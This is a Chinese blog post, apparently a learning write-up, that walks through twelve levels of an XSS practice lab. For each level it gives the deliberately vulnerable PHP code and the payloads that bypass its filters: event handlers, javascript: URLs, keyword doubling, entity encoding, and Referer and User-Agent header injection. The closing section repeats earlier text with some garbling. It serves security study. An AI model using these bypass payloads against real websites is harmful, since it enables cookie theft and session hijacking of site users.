代码审计学习XSS

2023-10-15 20:27:34

定义

跨站脚本攻击，为不和css一样写混淆，故跨站脚本呢攻击缩写为XSS。XSS是一种Web应用程序的安全漏洞，主要是由于Web应用程序对用户的输入过滤不足产生的。恶意攻击者往Web页面里插入恶意脚本代码，当用户浏览该页之时，嵌入其中的Web里面的恶意脚本代码，攻击者便可以对受害者采取Cookie资料窃取，会话劫持，钓鱼欺骗等各种攻击

Less-1

<?php 

ini_set("display_errors", 0);

$str = $_GET["name"];

echo "<h2 align=center>欢迎用户".$str."</h2>";

?>

可以看到源代码，里面$str的值是get形式的但是后面没有对get里面的name进行过滤，导致了xss注入

用基本的XSS注入

Less-2

这里我们需要进行绕过需要闭合前面的“，让value变成value=""

分析源代码

<?php 

ini_set("display_errors", 0);

$str = $_GET["keyword"];

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

<form action=level2.php method=GET>

<input name=keyword  value="'.$str.'">

<input type=submit name=submit value="搜索"/>

</form>

</center>';

?>

这里的源代码也可以看出它是用的get请求，但是这样用里一个过滤

.htmlspecialchars($str)

这个过滤可以把预定义的值转换为HTML实体，就是<不能用了

这里我们还可以用JavaScript的事件来进行弹窗

" onclick=alert(1)这样需要点击一下输入框<br>
这里后面用//进行注释也可以通过

less-3

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

这里和上面差不了太多，只是这里输出是的value进行的转义导致keyword没法接收到<>

所以这样我们要用到JavaScript事件

'onclick=alert(1)//

这里我们用单引号进行闭合

less-4

直接分析代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

这里新写入了一个新的函数

str_replace(”>","",$str)
这里的意思是将>于号进行转为空，在加上.htmlspecialchars($str)这样<script>就没法用了

这样我们只能用窗口的触发事件来进行弹窗，所以我们还是用

”onclick=alert(1)//

less-5

分析代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

这里没有变什么还是用的上两个函数进行过滤

$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);

所以这样JavaScript的触发事件也没法使用只能用伪链接

这里还有一个函数。用来区别大小写

$str = strtolower($_GET["keyword"]);

前面一样要闭合value值不然.htmlspecialchar会过滤<

payload写成

"><a href=JavaScript:alert(1)>nihao</a>

这样我们点击nihao就可以进行跳转

<iframe src="URL">

用这个标签一样可以实现

less-6

分析代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

这里我们可以看到和上面的过滤基本一样，但是这里少了一个大小写过滤所以我们要添加大写，这么就可以绕过

这里我们的payload有很多种写法

"> <Script>alert(1)</script> 

"> <img Src=x one rror=alert(1)> 

"><a HrEf="javascript:alert(1)">bmjoker</a>

"><svg x=" " Onclick=alert(1)>

"><ScriPt>alert(1)<sCrIpt>"

" OncliCk=alert(1)

less-7

看代码

<?php 
　　ini_set("display_errors", 0);
　　$str =strtolower( $_GET["keyword"]);
　　$str2=str_replace("script","",$str);
　　$str3=str_replace("on","",$str2);
　　$str4=str_replace("src","",$str3);
　　$str5=str_replace("data","",$str4);
　　$str6=str_replace("href","",$str5);
　　echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
　　<form action=level7.php method=GET>
　　　　<input name=keyword  value="'.$str6.'">
　　　　<input type=submit name=submit value=搜索 />
　　　　</form>
　　</center>';
?>

这里我们看代码，看到有很多黑名单，为空，还要大小写，还要<转义，但是我们发现没有禁用双向的函数

所以这样我们使用双写绕过

payload如下

“<scrscriptipt>alert(1)</scrscriptipt>

" oonnmouseover=alert(1)

"><a hrhrefef=javascriscriptpt:alert(1)>bmjoker</a>

" oonnclick=alert(1)//

less-8

看代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

分析代码，<script 转换成 <scr_ipt ，on 转换成 o_n ，src 转换成 sr_c ，data 转换成 da_ta，href 转换成 hr_ef，

大小写也失效了，" 还被编码，但是尖括号<> ，单引号 ’ ,% ，# ，& 符号没有被过滤，输出点在a标签内，href属性中，

属性中双引号被转换成HTML实体，无法截断属性，我们可以使用协议绕过javascript:alert，由于script关键字被过滤，

javascript会被替换成javasc_rpt，我们使用&#x72来代替r ,HTML字符实体转换：https://www.qqxiuzi.cn/bianma/zifushiti.php

payload：

javascrip&#x74;:alert(1)

javascript:%61lert(1)

javasc&#x72;ipt:alert`1`

javasc&#x0072;ipt:alert`1`

如果请求的url参数带有％0d％0a ，在servlet里得到包含这个字段的string时，％0d％0a 会被转义为回车，换行

less-9

分析代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

大多数没什么问题只是这里添加了一个http://的检验

false===strpos($str7,‘http://’))

这个可以检验url是否是http://形式的

这样我们的payload可以写成

javascrip&#x74;:alert(1)//http://xxx.com  //利用注释

javascrip&#x74;:%0dhttp://xxx.com%0dalert(1)  //不利用注释

javascrip&#x74;:%0ahttp://xxx.com%0dalert(1)  //不利用注释

less-10

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

分析代码，发现需要两个参数，一个是keyword，一个是t_sort，尖括号<>都被转换成空，还有三个hidden的隐藏输入框

<input name="t_sort"  value="'.$str33.'" type="hidden">
我们需要通过这句来进行构建payload
keyword = test&t_sort="type="text" onclick = "alert(1)
这样我们就可以构建成
<input name="t_sort" value=" " type="text" onclick = "alert(1)" type="hidden">

还要两个payload

keyword = test&t_sort="type="text" οnmοuseοver="alert(1)

keyword = test&t_sort="type="text" onm ouseover=alert`1`

这样都是基于JavaScript事件写的

less-11

代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这里和上面不一样的是这里添加了一个

s t r 11 = str11= str11=_SERVER[‘HTTP_REFERER’];

因为这个我们需要对网页进行抓包，让后对服务器发送referer的请求包

所以我们需要加上payload为

Referer: " onm ouseover=alert(1) type="text"这里不用闭合alert

Referer: " onclick="alert(1) type="text"这里需要闭合alert

只需要在发送请求包中加上payload就没问题了

less-12

这一关用的payload是

User-Agent: " οnmοuseοver=alert(1) type="text"

这里好像onclick用不了

https://www.cnblogs.com/bmjoker/p/9446472.html

参考一下


这里和上面不一样的是这里添加了一个

$str11=$_SERVER['HTTP_REFERER'];

因为这个我们需要对网页进行抓包，让后对服务器发送referer的请求包

所以我们需要加上payload为

Referer: " οnmοuseοver=alert(1) type="text"这里不用闭合alert

Referer: " οnclick="alert(1) type="text"这里需要闭合alert


只需要在发送请求包中加上payload就没问题了

# less-12

这一关用的payload是

```php
User-Agent: " onm ouseover=alert(1) type="text"

这里好像onclick用不了

码农公寓

定义

Less-1

Less-2

less-3

less-4

less-5

less-6

less-7

less-8

less-9

less-10

less-11

less-12

相关文章